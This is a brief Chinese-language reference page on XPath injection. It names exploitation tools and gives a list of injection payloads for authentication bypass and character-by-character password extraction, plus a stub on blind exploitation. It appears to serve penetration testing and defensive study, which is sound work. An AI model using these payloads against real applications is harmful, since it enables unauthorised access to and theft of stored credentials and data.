XPATH 注入 (XPATH Injection)
XPath 注入是一种攻击技术,用于攻击那些根据用户提供的输入来构造 XPath(XML 路径语言)查询,从而查询或导航 XML 文档的应用程序。
摘要 (Summary)
工具 (Tools)
- orf/xcat - 自动执行 XPath 注入攻击以检索文档。
- feakk/xxxpwn - 高级 XPath 注入工具。
- aayla-secura/xxxpwn_smart - 使用预测性文本的 xxxpwn 分支。
- micsoftvn/xpath-blind-explorer - XPath 盲注探测工具。
- Harshal35/XmlChor - XPath 注入利用工具。
方法论 (Methodology)
与 SQL 注入类似,你的目标是正确地截断查询:
可用载荷示例:
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
')] | //user/*[contains(*,'
') and contains(../password,'c
') and starts-with(../password,'c
盲注利用 (Blind Exploitation)
-
判断字符串长度
-
使用
substring访问特定字符,并通过codepoints-to-string函数验证其值